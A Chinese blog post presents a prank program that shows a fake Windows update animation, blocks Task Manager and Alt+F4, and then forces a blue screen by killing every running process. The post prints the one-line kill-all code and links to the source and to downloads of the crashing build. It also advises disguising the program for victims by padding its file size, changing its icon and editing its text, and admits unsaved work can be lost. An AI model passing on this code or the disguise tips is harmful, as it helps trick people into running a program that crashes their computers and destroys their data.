说来有些惭愧,此项目最初是鄙人在2020年三月份新冠疫情期间上网课的闲暇时间摸鱼写的,作为高考生的我居然在用寒假这么宝贵的时间里摸鱼!!!当然写这个小玩意主要是想在4月1号愚人节找点乐子,让枯燥的居家生活多一点乐趣,当然最后目的也达到了,整蛊了不少的人,并且高考结果也算还行吧,没受多大影响。
简单介绍
FxxkBlueScreen是一个整蛊软件,他能让你的电脑蓝屏,并且在蓝屏之前献上两段制作精美的动画,提醒你他将要蓝屏,在此期间你什么都做不了,任务管理器?Alt+F4?没得没得,你能想到的我都想到了,当你点开它之后你将会有两个选择:1、眼睁睁看着他蓝屏;2、强制关机;
关于两段动画
第一段,仿Windows升级的提示动画,来自https://fakeupdate.net/
第二段,满屏的滑稽,来自http://lvmaojun.com/huaji/
这两段动画都是我用祖传F12大法扒下来的,并为了适应本项目作出了一些修改(后面会说),在此特别鸣谢两位作者,如有侵权请联系本人删除。
一些整人的建议
本项目我会开源,大家可以按照自己的想法随意定制,当然前提是你看得懂代码。以下是我给你的一些建议:
1、FxxkBlueScreen本身不大,所以建议加些配重让他更具有诱惑力,具体怎么做呢,建议在项目中添加一个不大不小的空文件,并设置为嵌入的资源,重新编译,这样你就有了一个具有配重的FxxkBlueScreen了。
2、图标肯定要改,我编译出来的默认版本图标是一个滑稽,就看这图标,敢于尝试的也还没几个了吧,当然,改图标不一定要改代码,具体方法可以自行搜索哦,此处仅作抛砖引玉
3、第一屏动画的文字也是可以改的,你甚至可以把它当做一个表白软件(什么鬼。。。)直接改项目里Loading.html的245-249行的内容即可
4、想简单粗暴点直接蓝屏?代码注释写得很清楚,你直接注释掉前面的部分就好啦。
5、还有更多玩法等待大家发掘……
蓝屏的原理
很多朋友最关注的应该是这个吧,这个蓝屏会不会有害呢?理论上来说应该不会,当然玩意别人有未保存的资料那就另说。这个蓝屏的原理实际上就是遍历当前的所有进程,然后逐个结束,这样系统进程被结束得足够多的时候自然就蓝屏了,并不是很多人想象中的滑稽刷得太快把电脑卡爆蓝屏。整个过程实现起来就一行代码(当然这行代码比较浓缩):
Process.GetProcesses().ToList().ForEach(p => { try { p.Kill(); } catch { } });
关于代码部分
代码并不难,从我这种菜鸡手里写出来的东西能有多复杂对吧。
开发环境
- .NET 4.5
- Windows 10
- Visual Studio 2019
两个动画html
很多人可能会疑惑为什么这两个html里面有这么多乱码,实际上因为C#的WebBroswer控件的一些特性,也就是不能引用资源文件里的图片和JS,迫于无奈,我只能采取这种曲线救国的方式,把图片和JS转码成BASE64再合并到单个html文件里面。这个问题捣鼓了我好久的,没办法水平有限。
目录结构
│ FxxkBlueScreen.sln │ └─FxxkBlueScreen │ App.config │ HotKeyHandler.cs //热键屏蔽类 │ MainForm.cs //主窗口代码 │ Main.Designer.cs │ Main.resx │ Program.cs │ SetsysVolume.cs //声音操作类 │ ├─html │ Huaji.html //滑稽动画HTML文件 │ Loading.html //载入动画HTML文件 │ ├─Icon │ Icon.ico //图标文件 │ └─Properties
目前已知的Bug
- 多显示器下显示不正常
- 如果IE版本低于11,可能会出现异常
- 有可能会出现自己把自己杀掉的情况
- 如果系统本身就静音有可能会变成非静音状态
实机演示视频
免责声明
本人仅作为FxxkBlueScreen的作者,任何由本项目造成的任何损失和影响本人概不负责。
GitHub地址
https://github.com/kakkk/FxxkBlueScreen
下载地址
View版为欣赏动画版,不会蓝屏,Full版为全功能版,会蓝屏,注意甄别
百度云:https://pan.baidu.com/s/1wXcCJB9s31gkdk4INgh0dA 提取码:teqo
蓝奏云:https://kakkk.lanzous.com/b00zt1f7i 密码:ai0t
GoogleDrive:https://drive.google.com/drive/folders/1f1BIyQqhl9LdOkSG47TPHm4RMrb3-BkJ?usp=sharing
Comments | 4 条评论
AG16cc 博主
你写这玩意就只是娱乐吗,这个蓝屏浪费了我青春的大好时光的5分钟
小朱 博主
@AG16cc
还真就是闲着没事干
test 博主
高中生啊!好厉害啊,羡慕羡慕
小朱 博主
@test
现在上大学了